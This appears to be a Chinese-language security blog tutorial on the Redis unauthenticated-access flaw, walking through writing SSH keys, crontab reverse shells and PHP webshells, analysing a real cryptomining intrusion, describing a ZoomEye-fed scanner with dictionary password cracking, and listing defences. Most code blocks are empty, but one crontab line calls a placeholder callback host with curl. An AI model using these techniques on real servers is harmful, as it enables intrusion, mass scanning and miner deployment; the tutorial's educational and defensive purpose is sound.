Redis
一个ANSI C
语言编写的key-value
存储系统,和memcached
相比,Redis
支持数据的持久化,复杂的value类型(list,set,zset,hash)等以及数据的备份,即master-slave
模式。
和memcached
一样,操作非常简单,但redis
支持在client
、server
同时操作,且只支持TCP协议。同样,默认的无认证机制和易暴露在公网的服务器,很容易造成威胁。以下是文章内容,主要对未授权漏洞的分析和利用复现,以及最后对含有此漏洞主机的挖掘:
- Redis 未授权访问漏洞
- 写入SSH公钥
- 反弹shell
- 写入webshell
- redis攻击实例分析
- 未授权访问漏洞挖掘
Redis 未授权访问漏洞
和memcached
类似,Redis
默认在6379
端口开放,且默认不需要提供认证。在低版本的Redis
,没有对连接的用户进行限制,导致如果Redis
暴露在互联网中,可以被任意人访问,修改数据库内容,造成极大危害。除了修改数据库外,由于Redis
提供了备份的功能,通过修改备份文件路径,从而达到写入任意文件的目的。
在低版本中,protected-mode
是不存在的,而默认的本机绑定也是不存在的,如下,是最新版的redis
的配置文件,其添加了一个protected-mode
和默认绑定127.0.0.1
本地回路来防止安全问题:
|
|
可以看到Redis
版本,服务器内核版本,配置文件绝对路径等信息。 可以使用keys *
获取所有key值,并查看value
由于Redis
不支持UDP协议,所以无法像memcached
一样使用UDP反射,但由于提供了写文件,所以如果运行Redis
用户权限足够高,会产生很严重的问题。
Redis 写入SSH公钥
如果运行Redis
的用户为root,可以通过写入authorized.keys
文件来获取操作系统权限。
先生成公私钥对:
|
|
把生成的公钥前后加上换行\n
,防止和save之后的缓存数据搞混,然后将其作为值传入key中:
然后将其作为evil
字段的值传入redis中,使用-x
参数,并修改Redis config
的dir
和dbfilename
字段:
|
|
可以看到,公钥写入成功,尝试ssh登陆,由于我的Redis
服务器是在kali上装的,默认关闭了ssh登陆功能,可以修改配置开启SSH登陆:
|
|
然后使用私钥登陆服务器:
写入crontab定时任务
crontab
是一个定时任务执行程序,由于Redis
未授权访问漏洞可以写入文件,通过向定时任务文件写入任务,从而执行命令。
注意:仅在Centos下可以成功,Ubuntu/Debian会有权限和语法问题(这一点巨坑)
crontab常见操作
crontab
是用于写入定时任务的,其一般分为两个地方:
/var/spool/cron
这个目录一般是用户来写入定时任务的,注意的是Ubuntu/Debian
的目录稍微有点不一样,是在/var/spool/cron/crontabs
里面,只需要其目录下添加一个以$USER
命名的文件,往此文件中写入任务即代表此用户的所有定时任务。同时直接使用crontab [option]
命令也是对此目录下的文件和内容进行操作。
但要注意以下要点:1234567891011121314151617181920[crontab操作]crontab -e # 编辑crontab -l # 查看当前用户的定时任务列表crontab -r # 删除当前用户的所有定时任务[权限问题]使用crontab -e 写入的文件权限是600而使用redis save写入文件的权限时644在Ubuntu/Debian上,定时任务文件的权限必须为600,否则会报错:(root) INSECURE MODE (mode 0600 expected) (crontabs/root)这也是这种命令注入方式无法在ubuntu上复现的原因[语法问题]由于redis写入文件时会添加上redis版本等内容,所以在ubuntu/debian中会因语法错误而报错忽略:(root) ERROR (Syntax error, this crontab file will be ignored)但在centos是可以执行的[命令格式]m h dom mon dow command* * * * * /usr/bin/curl http://xxxx.ceye.ioetc/crontab
这个目录一般是管理员使用的,在这个内容中需要添加执行命令的用户
123456789SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#
redis写入crontab任务
在centos
下,由于crontab不需要严格的语法和权限,可以通过写入命令从而执行。
如下,向定时任务中写入反弹shell
|
|
写入webshell
同样由于可以写入文件,而web脚本由于良好的容错性成为了首选shell注入点,以apache+php
为例:
写入webshell:
|
|
redis攻击实例分析
接下来看一个在实际中利用的案例:
案例来源于这里
实际反映: 云服务器上CPU满负荷,被通知,应该是被拿来挖矿
redis中写入了两个键值
|
|
可以看到一个写入了定时任务,另一个是公钥,他们的利用方法在上面都分析过了,看一下sh脚本内容:
|
|
分析一下脚本内容
- 查找删除了
minerd
进程,查了下minerd
是挖矿的进程 - 清楚了当前用户的所有定时任务
- 再杀进程
minerd i586 gddr
可能是之前的进程 - 清除日志
- 下载
minerd
挖矿程序,修改权限,运行自己的挖矿账号
Redis未授权访问漏洞挖掘
这里的思路就是对运行redis
的主机发送info
命令,查看是否有返回配置内容,如若有授权,可以尝试字典破解。redis-cli
会在命令发送接收中添加一些辅助字符,使用./redis-cli
时会省略显示,构造时需要注意。为了模拟client
,我们加入这些字符。
这里附上自己写的一个扫描脚本,从zoomeye
获取运行Redis
的主机和端口,然后进行TCP请求,如果发现需要授权密码,则使用字典进行破解。脚本具体使用方法可以看README
|
|
防御
- 修改默认端口
- 使用足够强壮的AUTH
- 配置bind
- 使用最小权限运行redis
- 禁止远程修改db文件地址